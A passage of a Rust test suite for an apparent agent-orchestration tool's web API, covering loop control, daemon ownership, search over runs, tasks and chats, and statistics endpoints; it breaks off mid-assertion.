10091 "a loop that was asked to stop did not fail: {view}"
10092 );
10093
10094 let twice = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
10097 assert_eq!(twice.status, 200, "{}", twice.body);
10098 }
10099
10100 #[tokio::test]
10101 async fn a_loop_another_process_owns_can_be_neither_started_nor_stopped_here() {
10102 let f = Fixture::start().await;
10103 write_daemon(f.home.path(), Timestamp::now());
10106
10107 let view = f.get("/api/loop").await.json();
10108 assert_eq!(view["running"], false, "not in this process: {view}");
10109 assert_eq!(view["owned"], false, "and not this process's to control");
10110 assert_eq!(
10111 view["daemon"]["running"], true,
10112 "but a loop is alive somewhere, which is what the UI must say"
10113 );
10114 assert_eq!(view["daemon"]["pid"], 4242);
10115
10116 for body in [r#"{"running":true}"#, r#"{"running":false}"#] {
10117 let res = f.post("/api/loop", Some(body)).await;
10118 assert_eq!(
10119 res.status, 409,
10120 "neither button may pretend to work on someone else's loop: {}",
10121 res.body
10122 );
10123 assert!(
10124 res.json()["error"]
10125 .as_str()
10126 .is_some_and(|e| e.contains("4242")),
10127 "the refusal has to name the process the operator must go to: {}",
10128 res.body
10129 );
10130 }
10131 assert_eq!(
10132 f.get("/api/loop").await.json()["running"],
10133 false,
10134 "and the refusal started nothing"
10135 );
10136 }
10137
10138 #[tokio::test]
10139 async fn a_stale_status_file_is_not_a_foreign_owner() {
10140 let f = Fixture::start().await;
10141 write_daemon(
10142 f.home.path(),
10143 Timestamp::now() - jiff::SignedDuration::from_secs(60),
10144 );
10145
10146 let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
10147 assert_eq!(
10148 res.status, 200,
10149 "a daemon killed a minute ago must not lock the loop out of its \
10150 own home for good: {}",
10151 res.body
10152 );
10153 assert_eq!(res.json()["running"], true);
10154
10155 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
10156 }
10157
10158 #[tokio::test]
10159 async fn loop_rev_moves_on_a_start_so_a_phone_learns_without_polling() {
10160 let f = Fixture::start().await;
10161 let before = f.get("/api/health").await.json()["loop_rev"]
10162 .as_u64()
10163 .expect("a loop revision");
10164
10165 f.post("/api/loop", Some(r#"{"running":true}"#)).await;
10166
10167 let after = f.get("/api/health").await.json()["loop_rev"]
10168 .as_u64()
10169 .expect("a loop revision");
10170 assert!(
10171 after > before,
10172 "the loop is in-process state, so this counter is the only thing \
10173 that tells a second device the first one started it: {before} -> \
10174 {after}"
10175 );
10176
10177 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
10178 }
10179
10180 #[tokio::test]
10181 async fn a_loop_that_failed_says_why_and_does_not_read_as_running() {
10182 let f = Fixture::with_loop(launch_broken).await;
10183
10184 let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
10185 assert_eq!(
10186 res.status, 200,
10187 "starting it is not the failure: {}",
10188 res.body
10189 );
10190
10191 let view = settled(&f, |v| v["last_error"].is_string()).await;
10192 assert_eq!(
10193 view["running"], false,
10194 "a loop that died must not read as running, or the operator has \
10195 nothing to press: {view}"
10196 );
10197 assert_eq!(view["owned"], false);
10198 assert!(
10199 view["last_error"]
10200 .as_str()
10201 .is_some_and(|e| e.contains("read-only file system")),
10202 "the phone is where a loop that died at 3am is visible: {view}"
10203 );
10204
10205 let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
10208 assert_eq!(again.status, 200, "{}", again.body);
10209 assert_eq!(
10210 again.json()["last_error"],
10211 Value::Null,
10212 "a fresh start does not keep showing why the last one died"
10213 );
10214 }
10215
10216 #[tokio::test(flavor = "multi_thread", worker_threads = 2)]
10228 async fn the_deck_answers_while_it_parks_and_frees_the_address_first() {
10229 let home = TempDir::new().expect("temp home");
10230 let runs = home.path().join("runs");
10231 std::fs::create_dir_all(&runs).expect("runs dir");
10232 let ui = Ui::new(
10233 Queue::at(home.path().join("queue")),
10234 Questions::at(home.path().join("questions")),
10235 Talks::at(home.path().join("talks")),
10236 runs,
10237 home.path().to_path_buf(),
10238 PathBuf::from("/repo/magi"),
10239 )
10240 .with_worktrees_root(home.path().join("wt"))
10241 .with_launch(launch_knocking_on_the_way_out);
10242 let looping = ui.looping();
10243 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
10244 .await
10245 .expect("bind loopback");
10246 let addr = listener.local_addr().expect("local addr");
10247 *PARK_KNOCK.lock().expect("park knock") = Some(addr);
10248 let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
10249
10250 let started = request(addr, "POST", "/api/loop", Some(r#"{"running":true}"#)).await;
10251 assert_eq!(started.status, 200, "the loop starts: {}", started.body);
10252
10253 let bound = std::sync::Mutex::new(None);
10268 hand_over(home.path(), &looping, served, |_| {
10269 let deadline = std::time::Instant::now() + std::time::Duration::from_secs(5);
10270 let attempt = loop {
10271 match std::net::TcpListener::bind(addr) {
10272 Ok(l) => {
10273 drop(l);
10274 break Ok(());
10275 }
10276 Err(e)
10277 if e.kind() == std::io::ErrorKind::AddrInUse
10278 && std::time::Instant::now() < deadline =>
10279 {
10280 std::thread::sleep(std::time::Duration::from_millis(10));
10281 }
10282 Err(e) => break Err(e.to_string()),
10283 }
10284 };
10285 *bound.lock().expect("bound") = Some(attempt);
10286 Ok(1)
10287 })
10288 .await
10289 .expect("hand over");
10290
10291 assert_eq!(
10292 *PARK_HEARD.lock().expect("park heard"),
10293 Some(200),
10294 "the deck must answer while the loop is parking"
10295 );
10296 let attempt = bound
10297 .lock()
10298 .expect("bound")
10299 .take()
10300 .expect("the successor was started");
10301 assert!(
10302 attempt.is_ok(),
10303 "and the address must be free by the time it is: {attempt:?}"
10304 );
10305 }
10306
10307 #[tokio::test]
10308 async fn a_newer_daemon_status_file_still_renders() {
10309 let f = Fixture::start().await;
10310 std::fs::write(
10313 f.home.path().join("daemon.json"),
10314 serde_json::json!({
10315 "schema": 2,
10316 "updated_at": Timestamp::now().to_string(),
10317 "idle": true,
10318 "surprise": { "nested": [1, 2, 3] },
10319 })
10320 .to_string(),
10321 )
10322 .expect("write daemon.json");
10323
10324 let health = f.get("/api/health").await;
10325
10326 assert_eq!(health.status, 200);
10327 assert_eq!(health.json()["daemon"]["running"], true);
10328 }
10329
10330 #[tokio::test]
10331 async fn a_corrupt_run_is_skipped_in_the_list_and_explained_on_its_own_route() {
10332 let f = Fixture::start().await;
10333 write_run(&f.runs(), "20260902-140501-good", RunStatus::Ready);
10334 let broken = f.runs().join("20260902-140502-bad");
10335 std::fs::create_dir_all(&broken).expect("run dir");
10336 std::fs::write(broken.join("run.json"), "{ truncated").expect("write run.json");
10337
10338 let list = f.get("/api/runs").await;
10339 let detail = f.get("/api/runs/20260902-140502-bad").await;
10340
10341 assert_eq!(list.status, 200);
10342 let listed = list.json();
10343 let ids: Vec<&str> = listed
10344 .as_array()
10345 .expect("an array")
10346 .iter()
10347 .map(|r| r["id"].as_str().expect("an id"))
10348 .collect();
10349 assert_eq!(
10350 ids,
10351 vec!["20260902-140501-good"],
10352 "one unreadable run must not cost the operator the whole history"
10353 );
10354 assert_eq!(detail.status, 500);
10355 assert!(
10356 detail.json()["error"]
10357 .as_str()
10358 .is_some_and(|e| e.contains("run.json")),
10359 "the failure names the file to look at: {}",
10360 detail.body
10361 );
10362 let health = f.get("/api/health").await;
10366 assert_eq!(health.json()["runs_unreadable"], 1);
10367 }
10368
10369 #[tokio::test]
10371 async fn search_finds_nested_run_text_ands_terms_and_counts_unreadable() {
10372 let f = Fixture::start().await;
10373 let runs = f.runs();
10374 write_run(&runs, "20260902-140501-aaaa", RunStatus::Merged);
10375 write_run(&runs, "20260902-140502-bbbb", RunStatus::Merged);
10376 let path = runs.join("20260902-140502-bbbb").join("run.json");
10379 let mut v: serde_json::Value =
10380 serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
10381 v["legacy"] = serde_json::json!({ "rounds": [{ "finding": { "text": "The Quokka leaks\nacross threads" } }] });
10382 std::fs::write(&path, v.to_string()).unwrap();
10383 std::fs::create_dir_all(runs.join("20260902-140503-cccc")).unwrap();
10384 std::fs::write(
10385 runs.join("20260902-140503-cccc").join("run.json"),
10386 "{ not json",
10387 )
10388 .unwrap();
10389
10390 let res = f.get("/api/search?scope=runs&q=quokka").await;
10391 assert_eq!(res.status, 200, "{}", res.body);
10392 let v = res.json();
10393 assert_eq!(v["total"], 1, "{v}");
10394 assert_eq!(v["hits"][0]["id"], "20260902-140502-bbbb");
10395 assert_eq!(v["hits"][0]["field"], "text");
10396 assert_eq!(v["unreadable"], 1, "an unparsable run is counted: {v}");
10397 let parts = v["hits"][0]["snippet"].as_array().unwrap();
10398 assert!(
10399 parts
10400 .iter()
10401 .any(|p| p["hit"] == true && p["text"] == "Quokka"),
10402 "{v}"
10403 );
10404 let flat: String = parts.iter().map(|p| p["text"].as_str().unwrap()).collect();
10405 assert_eq!(
10406 flat, "The Quokka leaks across threads",
10407 "whitespace is collapsed"
10408 );
10409
10410 let both = f
10412 .get("/api/search?scope=runs&q=MOBILE%20quokka")
10413 .await
10414 .json();
10415 assert_eq!(both["total"], 1, "{both}");
10416 let neither = f
10417 .get("/api/search?scope=runs&q=quokka%20zebra")
10418 .await
10419 .json();
10420 assert_eq!(neither["total"], 0, "{neither}");
10421 let stmt = f
10423 .get("/api/search?scope=runs&q=mobile%20first")
10424 .await
10425 .json();
10426 assert_eq!(stmt["total"], 2, "{stmt}");
10427 let by_id = f.get("/api/search?scope=runs&q=140501-aaaa").await.json();
10428 assert_eq!(by_id["hits"][0]["id"], "20260902-140501-aaaa", "{by_id}");
10429 }
10430
10431 #[test]
10432 fn snippet_ignores_terms_longer_than_the_field() {
10433 let terms = ["ok".to_owned(), "elephant".to_owned()];
10434 let parts = snippet_of("ok", &terms);
10435 assert_eq!(
10436 parts,
10437 vec![SnippetPart {
10438 text: "ok".to_owned(),
10439 hit: true
10440 }]
10441 );
10442 }
10443
10444 #[test]
10445 fn snippet_marks_matches_longer_than_the_window() {
10446 let cap = SNIPPET_BEFORE + SNIPPET_AFTER + 2;
10447 let hit_len = |parts: &[SnippetPart]| -> usize {
10448 parts
10449 .iter()
10450 .filter(|p| p.hit)
10451 .map(|p| p.text.chars().count())
10452 .sum()
10453 };
10454 let total =
10455 |parts: &[SnippetPart]| -> usize { parts.iter().map(|p| p.text.chars().count()).sum() };
10456
10457 let long = "a".repeat(120);
10458 let parts = snippet_of(&long, std::slice::from_ref(&long));
10459 assert!(hit_len(&parts) > 0, "{parts:?}");
10460 assert!(total(&parts) <= cap);
10461
10462 let ja = "あ".repeat(130);
10463 let parts = snippet_of(&ja, std::slice::from_ref(&ja));
10464 assert!(hit_len(&parts) > 0, "{parts:?}");
10465 assert!(total(&parts) <= cap);
10466
10467 let text = format!("ab {} ab{}", "x".repeat(90), "c".repeat(100));
10469 let term = format!("ab{}", "c".repeat(100));
10470 let parts = snippet_of(&text, &["ab ".to_owned(), term]);
10471 assert!(parts.iter().filter(|p| p.hit).count() >= 2, "{parts:?}");
10472 assert!(total(&parts) <= cap);
10473
10474 let text = format!("{}z", "a".repeat(119));
10476 let parts = snippet_of(&text, &["a".repeat(120)]);
10477 assert_eq!(hit_len(&parts), 0, "{parts:?}");
10478 }
10479
10480 #[tokio::test]
10481 async fn search_caps_hits_and_snippet_length() {
10482 let f = Fixture::start().await;
10483 let runs = f.runs();
10484 for n in 0..(SEARCH_MAX_HITS + 5) {
10485 write_run(&runs, &format!("20260902-140501-{n:04}"), RunStatus::Merged);
10486 }
10487 let v = f.get("/api/search?scope=runs&q=web").await.json();
10488 assert_eq!(v["hits"].as_array().unwrap().len(), SEARCH_MAX_HITS);
10489 assert_eq!(v["total"], SEARCH_MAX_HITS + 5);
10490 assert_eq!(v["truncated"], true);
10491 assert!(
10493 v["hits"]
10494 .as_array()
10495 .unwrap()
10496 .iter()
10497 .all(|h| h["run"]["status"] == "merged")
10498 );
10499
10500 let long = format!("{}needle{}", "x".repeat(5000), "y".repeat(5000));
10501 let parts = snippet_of(&long, &["needle".to_owned()]);
10502 let len: usize = parts.iter().map(|p| p.text.chars().count()).sum();
10503 assert!(len <= SNIPPET_BEFORE + SNIPPET_AFTER + 2, "{len}");
10504 assert!(parts.iter().any(|p| p.hit && p.text == "needle"));
10505 }
10506
10507 #[tokio::test]
10508 async fn search_tasks_reads_every_field_and_rejects_bad_requests() {
10509 let f = Fixture::start().await;
10510 let queue = f.queue();
10511 let mut t = Task::new(
10512 "short title".to_owned(),
10513 "line one\nthe hidden Armadillo detail".to_owned(),
10514 PathBuf::from("/repo/magi"),
10515 Source::Agent {
10516 run: "r1".to_owned(),
10517 node: "chat".to_owned(),
10518 },
10519 );
10520 t.last_error = Some("disk full on /tmp".to_owned());
10521 queue.put(&mut t).expect("file the task");
10522
10523 for (q, want) in [
10524 ("armadillo", 1),
10525 ("disk%20FULL", 1),
10526 ("chat", 1),
10527 ("queued", 1),
10528 ("short%20nothing", 0),
10529 ] {
10530 let v = f
10531 .get(&format!("/api/search?scope=tasks&q={q}"))
10532 .await
10533 .json();
10534 assert_eq!(v["total"], want, "{q}: {v}");
10535 }
10536 for bad in [
10537 "/api/search?scope=tasks&q=",
10538 "/api/search?scope=tasks&q=%20",
10539 "/api/search?scope=chats&q=",
10540 "/api/search?scope=chats&q=%20",
10541 "/api/search?scope=nope&q=a",
10542 "/api/search?q=a",
10543 ] {
10544 assert_eq!(f.get(bad).await.status, 400, "{bad}");
10545 }
10546 }
10547
10548 fn write_talk(f: &Fixture, id: &str, status: &str, turns: &[(&str, &str)]) {
10550 let seat = serde_json::to_value(crate::agent::SeatState::new("talk", "claude", 1))
10551 .expect("seat value");
10552 let turns: Vec<serde_json::Value> = turns
10553 .iter()
10554 .map(|(who, body)| {
10555 serde_json::json!({"who": who, "body": body, "at": "2026-09-01T00:00:00Z"})
10556 })
10557 .collect();
10558 let doc = serde_json::json!({
10559 "schema": 1, "id": id, "repo": "/SecretRepoPath", "agent": "claude-agent",
10560 "status": status, "turns": turns,
10561 "created_at": "2026-09-01T00:00:00Z", "updated_at": "2026-09-01T00:00:00Z",
10562 "seat": seat,
10563 });
10564 let dir = f.home.path().join("talks");
10565 std::fs::create_dir_all(&dir).expect("talks dir");
10566 std::fs::write(dir.join(format!("{id}.json")), doc.to_string()).expect("write talk");
10567 }
10568
10569 #[tokio::test]
10570 async fn search_chats_reads_title_and_turns_and_counts_unreadable() {
10571 let f = Fixture::start().await;
10572 write_talk(
10573 &f,
10574 "20260901-000001-aaaa",
10575 "open",
10576 &[
10577 (
10578 "operator",
10579 "\n Why does the Pangolin cache expire?\nsecond line",
10580 ),
10581 ("agent", "Because the TTL is thirty seconds."),
10582 ],
10583 );
10584 write_talk(
10585 &f,
10586 "20260901-000002-bbbb",
10587 "closed",
10588 &[("operator", "unrelated"), ("agent", "The Zebra moved on.")],
10589 );
10590 std::fs::write(f.home.path().join("talks/broken.json"), "{ nope").expect("broken");
10591
10592 let search = |q: &'static str| {
10593 let f = &f;
10594 async move {
10595 f.get(&format!("/api/search?scope=chats&q={q}"))
10596 .await
10597 .json()
10598 }
10599 };
10600
10601 let v = search("PANGOLIN").await;
10602 assert_eq!(v["scope"], "chats");
10603 assert_eq!(v["total"], 1, "{v}");
10604 assert_eq!(v["hits"][0]["id"], "20260901-000001-aaaa");
10605 assert_eq!(v["hits"][0]["field"], "title");
10606 assert_eq!(v["unreadable"], 1, "{v}");
10607 let marked: Vec<&str> = v["hits"][0]["snippet"]
10608 .as_array()
10609 .unwrap()
10610 .iter()
10611 .filter(|p| p["hit"] == true)
10612 .map(|p| p["text"].as_str().unwrap())
10613 .collect();
10614 assert_eq!(marked, ["Pangolin"]);
10615
10616 let v = search("zebra").await;
10618 assert_eq!(v["total"], 1, "{v}");
10619 assert_eq!(v["hits"][0]["field"], "agent");
10620 assert_eq!(search("pangolin%20thirty").await["total"], 1);
10622 assert_eq!(search("pangolin%20zebra").await["total"], 0);
10623 for q in ["claude-agent", "SecretRepoPath", "open", "closed"] {
10625 assert_eq!(search(q).await["total"], 0, "{q}");
10626 }
10627 assert_eq!(search("second").await["hits"][0]["field"], "operator");
10629 assert_eq!(search("the").await["hits"][0]["id"], "20260901-000001-aaaa");
10631
10632 let v = f.get("/api/search?scope=nope&q=a").await;
10633 assert_eq!(v.status, 400);
10634 assert!(
10635 v.body.contains("scope must be runs, tasks or chats"),
10636 "{}",
10637 v.body
10638 );
10639 }
10640
10641 #[test]
10642 fn a_question_card_links_a_task_id_to_the_task_page() {
10643 let start = APP_JS
10644 .find("function updateAskCard(")
10645 .expect("updateAskCard exists");
10646 let body = &APP_JS[start..];
10647 let body = &body[..body.find("\n}\n").expect("function end")];
10648 assert!(body.contains("question.run_is_task"));
10649 assert!(body.contains("`#/tasks/${encodeURIComponent(question.run)}`"));
10650 assert!(body.contains("`#/runs/${question.run}`"));
10651 assert!(body.contains("\"task\" : \"run\""));
10652 }
10653
10654 #[test]
10655 fn a_keystroke_invalidates_the_search_reply_still_in_flight() {
10656 let start = APP_JS
10657 .find("function scheduleSearch(")
10658 .expect("scheduleSearch exists");
10659 let body = &APP_JS[start..];
10660 let body = &body[..body.find("\n}\n").expect("function end")];
10661 assert!(body.contains("s.seq += 1"));
10662 }
10663
10664 #[tokio::test]
10669 async fn stats_runs_unreadable_matches_health() {
10670 let f = Fixture::start().await;
10671 write_run(&f.runs(), "20260902-140501-good", RunStatus::Ready);
10672 let broken = f.runs().join("20260902-140502-bad");
10673 std::fs::create_dir_all(&broken).expect("run dir");
10674 std::fs::write(broken.join("run.json"), "{ truncated").expect("write run.json");
10675
10676 let stats = f.get("/api/stats").await;
10677 let health = f.get("/api/health").await;
10678
10679 assert_eq!(stats.status, 200);
10680 assert_eq!(stats.json()["totals"]["runs"], 1);
10681 assert_eq!(stats.json()["runs_unreadable"], 1);
10682 assert_eq!(
10683 stats.json()["runs_unreadable"],
10684 health.json()["runs_unreadable"],
10685 "the dashboard and /api/health must never disagree about how many \
10686 runs could not be read"
10687 );
10688 }
10689
10690 #[tokio::test]
10691 async fn stats_verdict_breakdown_covers_stalled_and_in_progress_runs() {
10692 let f = Fixture::start().await;
10693 write_run(&f.runs(), "20260902-140501-a", RunStatus::Merged);
10694 write_run(&f.runs(), "20260902-140502-b", RunStatus::Stalled);
10695 write_run(&f.runs(), "20260902-140503-c", RunStatus::Implementing);
10696
10697 let totals = &f.get("/api/stats").await.json()["totals"];
10698 assert_eq!(totals["runs"], 3);
10699 assert_eq!(totals["merged"], 1);
10700 assert_eq!(totals["stalled"], 1);
10701 assert_eq!(totals["in_progress"], 1);
10702 assert_eq!(totals["blocked"], 0);
10705 assert_eq!(totals["ready"], 0);
10706 }
10707
10708 #[tokio::test]
10709 async fn stats_advisors_report_proposals_and_reflection() {
10710 use crate::advise::{Advice, AdvisorRecord, Reflection};
10711 use crate::verdict::Proposal;
10712
10713 let f = Fixture::start().await;
10714 let mut state = RunState::new(
10715 PathBuf::from("/repo/magi"),
10716 "main".to_owned(),
10717 "0123456789abcdef".to_owned(),
10718 "task".to_owned(),
10719 Config::default(),
10720 );
10721 state.id = "20260902-140501-a".to_owned();
10722 state.status = RunStatus::Merged;
10723 state.advice = Some(Advice {
10724 records: vec![
10725 AdvisorRecord {
10726 seat: "advisor-1".to_owned(),
10727 agent: "alpha".to_owned(),
10728 proposal: Some(Proposal {
10729 approach: "do it".to_owned(),
10730 key_tradeoff: "speed over memory".to_owned(),
10731 risks: Vec::new(),
10732 touches: Vec::new(),
10733 why_not_naive: "breaks under load".to_owned(),
10734 }),
10735 error: None,
10736 duration_ms: 0,
10737 reflection: Reflection::Strong,
10738 },
10739 AdvisorRecord {
10740 seat: "advisor-2".to_owned(),
10741 agent: "alpha".to_owned(),
10742 proposal: None,
10743 error: Some("timed out".to_owned()),
10744 duration_ms: 0,
10745 reflection: Reflection::Absent,
10746 },
10747 ],
10748 synthesis: Some("blended brief".to_owned()),
10749 });
10750 let dir = f.runs().join(&state.id);
10751 std::fs::create_dir_all(&dir).expect("run dir");
10752 std::fs::write(
10753 dir.join("run.json"),
10754 serde_json::to_string_pretty(&state).expect("serialize run"),
10755 )
10756 .expect("write run.json");
10757
10758 let advisors = f.get("/api/stats").await.json()["advisors"].clone();
10759 let alpha = advisors
10760 .as_array()
10761 .expect("an array")
10762 .iter()
10763 .find(|a| a["agent"] == "alpha")
10764 .expect("alpha row");
10765 assert_eq!(alpha["seated"], 2);
10766 assert_eq!(alpha["proposed"], 1);
10767 assert_eq!(alpha["absent"], 1);
10768 assert_eq!(alpha["strong"], 1);
10769 assert_eq!(alpha["faint"], 0);
10770 assert_eq!(alpha["reflection_rate"]["pct"], 100.0);
10771 }
10772
10773 #[tokio::test]
10774 async fn stats_release_bumps_split_clean_from_attention() {
10775 use crate::run::ReleaseBump;
10776
10777 let f = Fixture::start().await;
10778
10779 let mut clean = RunState::new(
10780 PathBuf::from("/repo/magi"),
10781 "main".to_owned(),
10782 "0123456789abcdef".to_owned(),
10783 "task".to_owned(),
10784 Config::default(),
10785 );
10786 clean.id = "20260902-140501-a".to_owned();
10787 clean.status = RunStatus::Merged;
10788 clean.release_bump = Some(ReleaseBump {
10789 pr_url: Some("https://github.com/o/r/pull/1".to_owned()),
10790 version: Some("1.0.0".to_owned()),
10791 automerge_enabled: true,
10792 merged_directly: false,
10793 local: false,
10794 release: None,
10795 problem: None,
10796 action_required: None,
10797 });
10798
10799 let mut blocked = RunState::new(
10800 PathBuf::from("/repo/magi"),
10801 "main".to_owned(),
10802 "0123456789abcdef".to_owned(),
10803 "task".to_owned(),
10804 Config::default(),
10805 );
10806 blocked.id = "20260902-140502-b".to_owned();
10807 blocked.status = RunStatus::Merged;
10808 blocked.release_bump = Some(ReleaseBump {
10809 pr_url: Some("https://github.com/o/r/pull/2".to_owned()),
10810 version: Some("1.0.1".to_owned()),
10811 automerge_enabled: false,
10812 merged_directly: false,
10813 local: false,
10814 release: None,
10815 problem: Some("checks red".to_owned()),
10816 action_required: Some("look at the PR".to_owned()),
10817 });
10818
10819 for state in [&clean, &blocked] {
10820 let dir = f.runs().join(&state.id);
10821 std::fs::create_dir_all(&dir).expect("run dir");
10822 std::fs::write(
10823 dir.join("run.json"),
10824 serde_json::to_string_pretty(state).expect("serialize run"),
10825 )
10826 .expect("write run.json");
10827 }
10828
10829 let bumps = f.get("/api/stats").await.json()["release_bumps"].clone();
10830 assert_eq!(bumps["merged"], 2);
10831 assert_eq!(bumps["recorded"], 2);
10832 assert_eq!(bumps["pr_opened"], 2);
10833 assert_eq!(bumps["automerge_enabled"], 1);
10834 assert_eq!(bumps["needs_attention"], 1);
10835 assert_eq!(bumps["clean"], 1);
10836 assert_eq!(bumps["coverage_rate"]["pct"], 100.0);
10837 assert_eq!(bumps["attention_rate"]["pct"], 50.0);
10838 }
10839
10840 #[tokio::test]
10841 async fn stats_release_bumps_rates_are_null_with_nothing_recorded() {
10842 let f = Fixture::start().await;
10843 write_run(&f.runs(), "20260902-140501-a", RunStatus::Merged);
10844
10845 let bumps = f.get("/api/stats").await.json()["release_bumps"].clone();
10846 assert_eq!(bumps["merged"], 1);
10847 assert_eq!(bumps["recorded"], 0);
10848 assert_eq!(bumps["coverage_rate"]["pct"], 0.0);
10851 assert_eq!(bumps["automerge_rate"], Value::Null);
10854 assert_eq!(bumps["attention_rate"], Value::Null);
10855 }
10856
10857 #[tokio::test]
10858 async fn stats_queue_counts_come_from_the_live_queue() {
10859 let f = Fixture::start().await;
10860 let q = f.queue();
10861 let mut queued = Task::new(
10862 "queued task".to_owned(),
10863 "do it".to_owned(),
10864 PathBuf::from("/repo"),
10865 Source::Human,
10866 );
10867 q.put(&mut queued).expect("put queued");
10868 let mut held = Task::new(
10869 "held task".to_owned(),
10870 "do it later".to_owned(),
10871 PathBuf::from("/repo"),
10872 Source::Human,
10873 );
10874 held.hold_machine(Some("out of attempts".to_owned()));
10875 q.put(&mut held).expect("put held");
10876
10877 let queue = f.get("/api/stats").await.json()["queue"].clone();
10878 assert_eq!(queue["queued"], 1);
10879 assert_eq!(queue["held"], 1);
10880 assert_eq!(queue["running"], 0);
10881 assert_eq!(queue["done"], 0);
10882 assert_eq!(queue["failed"], 0);
10883 assert_eq!(queue["blocked"], 0);
10884 }
10885
10886 #[tokio::test]
10887 async fn stats_on_an_empty_home_is_all_zero_not_an_error() {
10888 let f = Fixture::start().await;
10889 let stats = f.get("/api/stats").await;
10890 assert_eq!(stats.status, 200);
10891 assert_eq!(stats.json()["totals"]["runs"], 0);
10892 assert_eq!(stats.json()["totals"]["completion_rate"], Value::Null);
10893 assert_eq!(stats.json()["runs_unreadable"], 0);
10894 assert!(stats.json()["agents"].as_array().unwrap().is_empty());
10895 assert!(stats.json()["advisors"].as_array().unwrap().is_empty());
10896 assert!(stats.json()["repos"].as_array().unwrap().is_empty());
10897 assert_eq!(stats.json()["repo"], Value::Null);
10898 }
10899
10900 #[tokio::test]
10901 async fn stats_lists_every_repository_with_runs_recorded() {
10902 let f = Fixture::start().await;
10903 write_run_repo(
10904 &f.runs(),
10905 "20260902-140501-a",
10906 RunStatus::Merged,
10907 "/repos/a",
10908 );
10909 write_run_repo(
10910 &f.runs(),
10911 "20260902-140502-b",
10912 RunStatus::Merged,
10913 "/repos/a",
10914 );
10915 write_run_repo(
10916 &f.runs(),
10917 "20260902-140503-c",
10918 RunStatus::Blocked,
10919 "/repos/b",
10920 );
10921
10922 let stats = f.get("/api/stats").await;
10923 assert_eq!(stats.status, 200);
10924 assert_eq!(stats.json()["totals"]["runs"], 3);
10926 assert_eq!(stats.json()["repo"], Value::Null);
10927
10928 let repos = stats.json()["repos"].clone();
10929 let repos = repos.as_array().unwrap();
10930 assert_eq!(repos.len(), 2);
10931 assert_eq!(repos[0]["repo"], "/repos/a");
10933 assert_eq!(repos[0]["name"], "a");
10934 assert_eq!(repos[0]["runs"], 2);
10935 assert_eq!(repos[1]["repo"], "/repos/b");
10936 assert_eq!(repos[1]["runs"], 1);
10937 }
10938
10939 #[tokio::test]
10940 async fn stats_repo_query_narrows_the_aggregate_to_one_repository() {
10941 let f = Fixture::start().await;
10942 write_run_repo(
10943 &f.runs(),
10944 "20260902-140501-a",
10945 RunStatus::Merged,
10946 "/repos/a",
10947 );
10948 write_run_repo(
10949 &f.runs(),
10950 "20260902-140502-b",
10951 RunStatus::Blocked,
10952 "/repos/b",
10953 );
10954
10955 let stats = f.get("/api/stats?repo=%2Frepos%2Fa").await;
10956 assert_eq!(stats.status, 200);
10957 assert_eq!(stats.json()["totals"]["runs"], 1);
10958 assert_eq!(stats.json()["totals"]["merged"], 1);
10959 assert_eq!(stats.json()["repo"], "/repos/a");
10960 assert_eq!(stats.json()["repos"].as_array().unwrap().len(), 2);
10963 assert_eq!(stats.json()["runs_unreadable"], 0);
10966 }
10967
10968 #[tokio::test]
10969 async fn stats_repo_query_for_an_unknown_repo_is_a_404() {
10970 let f = Fixture::start().await;
10971 write_run_repo(
10972 &f.runs(),
10973 "20260902-140501-a",
10974 RunStatus::Merged,
10975 "/repos/a",
10976 );
10977
10978 let stats = f.get("/api/stats?repo=%2Frepos%2Fnope").await;
10979 assert_eq!(stats.status, 404);
10980 }
10981
10982 #[tokio::test]
10983 async fn a_run_is_summarised_for_the_list_and_served_whole_on_its_own_route() {
10984 let f = Fixture::start().await;
10985 write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Ready);
10986
10987 let summary = f.get("/api/runs").await.json();
10988 let row = &summary[0];
10989 assert_eq!(row["short"], "a1b2");
10990 assert_eq!(row["status"], "ready");
10991 assert_eq!(row["done"], true);
10992 assert_eq!(row["title"], "Add a web UI");
10993 assert_eq!(row["repo_name"], "magi");
10994 assert_eq!(row["judges"], 3);
10995 assert_eq!(row["winner"], Value::Null);
10996 assert_eq!(row["reviews"], 0);
10997
10998 let detail = f.get("/api/runs/a1b2").await;
11001 assert_eq!(detail.status, 200);
11002 assert_eq!(detail.json()["base_branch"], "main");
11003 assert_eq!(detail.json()["id"], "20260902-140501-a1b2");
11004 }
11005
11006 #[tokio::test]
11014 async fn a_mode_none_ready_run_is_flagged_unmerged_by_design_everywhere() {
11015 let f = Fixture::start().await;
11016
11017 let mut none_run = RunState::new(
11018 PathBuf::from("/repo/magi"),
11019 "main".to_owned(),
11020 "0123456789abcdef".to_owned(),
11021 "Add a web UI".to_owned(),
11022 Config::default(),
11023 );
11024 none_run.id = "20260902-140503-none".to_owned();
11025 none_run.status = RunStatus::Ready;
11026 none_run.merge = Some(crate::run::MergeOutcome {
11027 mode: crate::config::MergeMode::None,
11028 ok: true,
11029 detail: "git -C /repo merge --no-ff magi/x/A".to_owned(),
11030 empty: false,
11031 });
11032 write_state(&f.runs(), &none_run);
11033
11034 let mut pr_run = RunState::new(
11035 PathBuf::from("/repo/magi"),
11036 "main".to_owned(),
11037 "0123456789abcdef".to_owned(),
11038 "Add a web UI".to_owned(),
11039 Config::default(),
11040 );
11041 pr_run.id = "20260902-140504-prcl".to_owned();
11042 pr_run.status = RunStatus::Ready;
11043 pr_run.merge = Some(crate::run::MergeOutcome {
11044 mode: crate::config::MergeMode::Pr,
11045 ok: false,
11046 detail: "https://example.com/pr/1 was closed without merging".to_owned(),
11047 empty: false,
11048 });
11049 write_state(&f.runs(), &pr_run);
11050
11051 let summary = f.get("/api/runs").await.json();
11052 let rows: std::collections::HashMap<&str, &Value> = summary
11053 .as_array()
11054 .expect("an array")
11055 .iter()
11056 .map(|r| (r["id"].as_str().expect("an id"), r))
11057 .collect();
11058 assert_eq!(rows[none_run.id.as_str()]["status"], "ready");
11059 assert_eq!(
11060 rows[none_run.id.as_str()]["unmerged_by_design"],
11061 true,
11062 "a mode-none Ready must be flagged in the list"
11063 );
11064 assert_eq!(
